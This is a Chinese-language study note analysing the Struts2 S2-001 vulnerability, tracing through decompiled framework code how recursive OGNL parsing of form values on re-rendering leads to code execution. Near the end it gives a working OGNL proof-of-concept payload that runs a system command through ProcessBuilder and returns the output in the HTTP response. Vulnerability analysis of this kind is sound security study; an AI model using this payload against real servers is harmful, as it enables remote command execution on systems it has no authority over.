Strtus2-001代码分析调试（学习笔记）
一、漏洞描述：
Struts2 中的validation机制。validation依靠validation和workflow两个拦截器。validation会根据配置的xml文件创建一个特殊字段错误列表。而workflow则会根据validation的错误对其进行检测，如果输入有值，将会把用户带回到原先提交表单的页面，并且将值返回。反之，在默认情况下，如果控制器没有得到任何的输入结果但是有validation验证错误。那么用户将会得到一个错误的信息提示。
提交表单并验证失败时，由于Strust2默认会原样返回用户输入的值而且不会跳转到新的页面，因此当返回用户输入的值并进行标签解析时，如果开启了altSyntax，会调用translateVariables方法对标签中表单名进行OGNL表达式递归解析返回ValueStack值栈中同名属性的值。因此我们可以构造特定的表单值让其进行OGNL表达式解析从而达到任意代码执行。
二、影响版本
影响版本: 2.0.0 - 2.0.8
<dependency><groupId>org.apache.struts</groupId><artifactId>struts2-core</artifactId><version>2.0.8</version></dependency></dependencies>
三、漏洞分析
Struts2的运行流程是1、HTTP请求经过一系列的过滤器，最后到达FilterDispatcher过滤器。2、FilterDispatcher将请求转发给ActionMapper，判断该请求是否需要处理。3、如果该请求需要处理，FilterDispatcher会创建一个ActionProxy来进行后续的处理。4、ActionProxy拿着HTTP请求，询问struts.xml该调用哪一个Action进行处理。5、当知道目标Action之后，实例化一个ActionInvocation来进行调用。6、然后运行在Action之前的拦截器。7、运行Action，生成一个Result。8、Result根据页面模板和标签库，生成要响应的内容。9、根据响应逆序调用拦截器，然后生成最终的响应并返回给Web服务器。漏洞关键位置xwork-2.0-beta-1.jar!/com/opensymphony/xwork2/util/TextParseUtil.class中的translateVariables方法下断点。
opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class
前面都是一些应用初始化、调度、Struts2 拦截器执行、Action执行等操作，直接跳过。
本次操作只是访问http://localhost:8080/s2vuls_war/pages/s2001/index.jsp获取只有
传入的参数为空，因为Action的返回值为error，所以doForward会跳转到index.jsp，后面再进行一系列过滤器调用、JspServlet调用解析jsp等操作。
后面执行dorun请求的URL资源index.jsp
http://localhost:8080/s2vuls_war/pages/s2001/index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title></head><body><h2>S2-001 Demo</h2><p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p><s:form action="s2001"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit></s:form></body></html>
直接跟到org.apache.struts2.views.jsp.ComponentTagSupport的doStartTag方法，这里会对jsp标签进行解析，从form标签开始，我们步入到解析textfield标签时。
org/apache/struts/struts2-core/2.0.8/struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class
开始请求提交访问解析到form表单
form表单解析到textfield
开始是解析到textfield第一个字段：username
接下里到textfield第二个字段：password
接下来到submit
前端页面解析的一个过程
执行完doStartTag后会再次回到index.jsp，此时遇到了相应的闭合标签/>，会跳转到doEndTag():
public int doStartTag() throws JspException { this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse()); Container container = Dispatcher.getInstance().getContainer(); container.inject(this.component); this.populateParams(); boolean evalBody = this.component.start(this.pageContext.getOut()); if (evalBody) { return this.component.usesBody() ? 2 : 1; } else { return 0; }}-------------------------------分割线-------------------------------public int doEndTag() throws JspException { this.component.end(this.pageContext.getOut(), this.getBody()); this.component = null; return 6;}
跟进component.end()，到达org.apache.struts2.components.UIBean#end
org/apache/struts/struts2-core/2.0.8/struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class
继续跟入this.evaluateParams();，由于开启了altSyntax，expr = %{password}
altSyntax功能是 Struts2 框架用于处理标签内容的一种新语法（不同于普通的 HTML ），该功能主要作用在于支持对标签中的OGNL表达式进行解析并执行。altSyntax功能在处理标签时，对OGNL表达式的解析能力实际上是依赖于开源组件XWork。
继续跟入this.findValue(expr, valueClazz);
protected Object findValue(String expr, Class toType) { if (this.altSyntax() && toType == String.class) { return TextParseUtil.translateVariables('%', expr, this.stack); } else { if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) { expr = expr.substring(2, expr.length() - 1); } return this.getStack().findValue(expr, toType); }}
altSyntax，toType 为class.java.lang.string，跟入com.opensymphony.xwork2.util.TextParseUtil中的translateVariables(‘%’, expr, this.stack);
opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) { Object result = expression; while(true) { int start = expression.indexOf(open + "{"); int length = expression.length(); int x = start + 2; int count = 1; while(start != -1 && x < length && count != 0) { char c = expression.charAt(x++); if (c == '{') { ++count; } else if (c == '}') { --count; } } int end = x - 1; if (start == -1 || end == -1 || count != 0) { return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); } String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); if (o != null) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + o + right; } else { result = left + right; expression = left + right; } }}
expression为%{password}，先经过while循环确定出表达式的start和end，然后取出来password赋值给var变量
stack.findValue(var, asType);，这里的stack为OgnlValueStack，它是ValueStack的实现类。
String VALUE_STACK = "com.opensymphony.xwork2.util.ValueStack.ValueStack";String REPORT_ERRORS_ON_NO_PROP = "com.opensymphony.xwork2.util.ValueStack.ReportErrorsOnNoProp";
ValueStack是Struts2的一个接口，字面意义为值栈，类似于一个数据中转站，Struts2的数据都保存在ValueStack中。客户端发起一个请求struts2会创建一个Action实例同时创建一个OgnlValueStack值栈实例，OgnlValueStack贯穿整个Action的生命周期。Struts2中使用OGNL将请求Action的参数封装为对象存储到值栈中，并通过OGNL表达式读取值栈中的对象属性值。
ValueStack中有两个主要区域
1、CompoundRoot 区域：是一个ArrayList，存储了Action实例，它作为OgnlContext的Root对象。获取root数据不需要加#
2、context 区域：即OgnlContext上下文，是一个Map，放置web开发常用的对象数据的引用。request、session、parameters、application等。获取context数据需要加#
操作值栈，通常指的是操作ValueStack中的root区域。
OgnlValueStack的findValue方法可以在CompoundRoot中从栈顶向栈底找查找对象的属性值。
public Object findValue(String expr, Class asType) { Object var4; try { Object value; if (expr == null) { value = null; return value; } if (this.overrides != null && this.overrides.containsKey(expr)) { expr = (String)this.overrides.get(expr); } value = OgnlUtil.getValue(expr, this.context, this.root, asType); if (value != null) { var4 = value; return var4; } var4 = this.findInContext(expr); return var4; } catch (OgnlException var9) { var4 = this.findInContext(expr); return var4; } catch (Exception var10) { this.logLookupFailure(expr, var10); var4 = this.findInContext(expr); } finally { OgnlContextState.clear(this.context); } return var4;}
OgnlUtil.getValue(expr, this.context, this.root, asType);
Ognl.getValue(compile(name), context, root, resultType);会根据root和context对象对表达式compile(name)进行解析。
这里因为name为password，会从root栈中LoginAction对象中 获取到我们提交的参数password并返回
前端提交和请求参数，filter来拦截请求并处理，所以在struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/FilterDispatcher.class处，tomcat将请求交给struts2处理
先在过滤器，请求参数和action方法绑定，再调用loginaction方法
返回值进行一系列处理后，最后又赋值给expression，接着会再次进入translateVariables进行解析，然后进入下一次while循环
逻辑运行完之后，struts2将返回响应，并重新渲染jsp。问题就出在重新渲染时，struts2对ognl表达式进行了二次解析，导致攻击者输入的恶意表达式被执行。
主要是%{}表达式
这个方法对表达式是是递归解析的，如果说%{username}的结果还是一个表达式（被%{}包裹）的话，那么程序会继续解析，这造成了恶意ognl表达式的执行。
计算的结果
上面是简单的计算：
尝试系统命令的执行：POC
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ifconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class
绑定参数和action
opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class
invokeAction中调用了自定义的action
struts2将返回响应，并重新渲染jsp。问题就出在重新渲染时，struts2对ognl表达式进行了二次解析，导致攻击者输入的恶意表达式被执行。
evaluateParams方法，对标签属性进行解析。
altSyntax，会将标签name属性的值（这里是username），用%{}包裹，进行进一步解析。
opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class
将%{}中的值取出来，放入findValue方法中：
多次循环解析点
ognl表达式传入了OgnlUtil.getValue并执行
最后返回到translateVariables方法
返回命令执行的内容：
执行成功返回IP相关学习。
总结：
1、主要是%{}表达式
这个方法对表达式是是递归解析的，如果说%{username}的结果还是一个表达式（被%{}包裹）的话，那么程序会继续解析，这造成了恶意ognl表达式的执行。
2、Strtus2-001本次环境调试，注意多次的表达式循环的解析。开始的生活注意路径和jar包，断点查看调试。（自己被绕晕过，可以第一次过一下，后面再来详细的断点调试）
3、本次也是自己学习记录，如果有纰漏欢迎大佬指点。
参考：
https://www.jianshu.com/p/a072ddd26f50
http://wechat.doonsec.com/article/?id=308b4bab7df3ecdb3bdda6fe1e026ac6
https://blog.csdn.net/qq_29647709/article/details/84945159
https://seaii-blog.com/index.php/2019/12/29/90.html
https://github.com/proudwind/struts2_vulns/
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